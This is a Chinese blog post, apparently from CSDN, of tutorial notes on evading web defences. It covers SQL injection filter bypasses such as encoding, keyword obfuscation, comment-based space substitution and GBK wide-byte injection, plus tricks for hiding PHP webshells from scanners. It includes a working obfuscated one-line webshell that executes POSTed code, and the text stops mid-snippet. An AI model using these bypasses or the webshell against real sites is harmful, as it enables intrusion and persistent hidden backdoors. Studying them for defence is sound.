网络安全——绕过

本文探讨了网络安全中与Web应用相关的编码问题,包括HTTP编码的不一致性,以及如何利用编码绕过特殊字符过滤。重点讲述了SQL注入的策略,如关键字混淆、替换、编码技术,以及针对WAF的单引号转义和Webshell绕过技巧,如使用eval和assert。还介绍了字符串变形、定义函数和回调函数在绕过安全防护中的应用。
摘要由CSDN通过智能技术生成

1.编码的问题

http在传输特殊字符时需要在浏览器中编码,常见的比如空格、回车符等
编码是有规定的,但是具体如何编码没有规定,不同浏览器编码方案不一致,不同字段编码方案也不一样
结论:所有浏览器都有编码的习惯,那么后台接收数据时。首先需要处理编码就是解码,解码是把已编码的字符还原,其余未编码的不动。

2.实际测试

当对浏览器的输入区域进行输入字符时会出现两种情况:
1.输入的字段被浏览器自动编码,例如输入空格,浏览器自动编码为%20,传输时http中也是%20形式传输的
2.输入的字段是编码形式,浏览器自动还原为解码形态,传输时http是解码形态。例如输入%61,浏览器字段还原为a,传输时同样

3.编码对于注入的意义

1.绕过一些对于特殊字符的限制。例如:单引号过滤,select name from users where user=‘admin’ ,由于单引 号被过滤掉,'admin’会过滤为admin,出现语法错误—成为 user=admin
编码%61%64%6D%69%6E就是admin,也可以是0x61646D696E(16进制)
2.后台对于输入的判断一般是两种顺序:
先解码后过滤—>执行sql //此顺序编码绕过无效
先过滤后解码—>执行sql //此顺序编码绕过有效
3.waf(web application firewall)两次解码:防火墙解一次,后台再解析一次
先解码后过滤—>传输 //此顺序编码绕过无效(二次代码可以绕过)
过滤—>传输 //此顺序编码绕过有效

4.关键字过滤

1.混淆:如果后台“吃掉”关键字and or。and可以变为anandd,吃掉中间的and后剩下剩余的and
如果后台匹配不完善,可以是大小写混淆,AND And等
2.替换:替换能执行相同功能的函数关键字或者函数。例如:and和&&,or和||(若直接输入字符被浏览器转码,可以替换为ascii码.&&转为%26%26),=和like
3.编码:
全编码 admin—%61%64%6D%69%6E
部分编码 admin—%61dmi%6E

5.特殊字符过滤—替换

空格的替换:空格是特殊字符,可以找其他特殊字符替换,%a0 和%0b 在sql-labs中有效,其他环境其他字符也能有效,需要测试
空格的间隔作用还可以用内联取代,order by 1为例,内联注释可以这样写:

/*!order*//*!by*/
/*/注释     /!*/取消注释 )

空格的间隔作用还可以用注释取代,order by 1为例,注释可以这样写:

order/**/by/**/1

逗号的替换:from for
注释#的替换:构造永真 or ‘1’='1

6.单引号转义

单引号转义是在’----> ',意味着’失效变成普通字符,两种解决办法:
1.如果\没有被过滤或者转义,可以输入’来抵消\ ‘---->\’ 这里中间的\被第一个\转义从而使得’有效
2.如果\被过滤或者转义,我们可以使用宽字节注入来实现单引号有效化,具体是如果数据库的表或者数据库的编码集是GBK GB2312 GB18030是可以实现汉字双字节编码的,我们利用\编码是%5C,在其前边添加一个%81–%fd的编码来实现宽字节编码。例如%81%5c是x字,这样单引号就不会被\转义,从而顺利构造闭合

双引号等字符闭合相同

7.webshell绕过总结

关于eval 与 assert

关于eval函数在php给出的官方说明是

eval 是一个语言构造器而不是一个函数,不能被 可变函数 调用
可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行
通俗的说比如你 <?php $a=eval;$a() ?> 这样是不行的 也造就了用eval的话达不到assert的灵活,但是在php7.1以上assert已经不行

关于assert函数

assert() 回调函数在构建自动测试套件的时候尤其有用,因为它们允许你简易地捕获传入断言的代码,并包含断言的位置信息。 当信息能够被其他方法捕获,使用断言可以让它更快更方便!

字符串变形

字符串变形多数用于BYPASS安全狗,相当对于D盾,安全狗更加重视"形"
一个特殊的变形就能绕过安全狗,看看PHP手册,有着很多关于操作字符串的函数

ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。

由于PHP的灵活性操作字符串的函数很多,我这里就不一一列举了

substr_replace() 函数变形assert 达到免杀的效果

<?php $a = substr_replace("assexx","rt",4);$a($_POST['x']);?>
chr()
chunk_split()
strrev()
addcslashes() 	
addslashes()

其他函数类似 不一一列举了

定义函数绕过

定义一个函数把关键词分割达到bypass效果

<?php function kdog($a){
   $a(
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值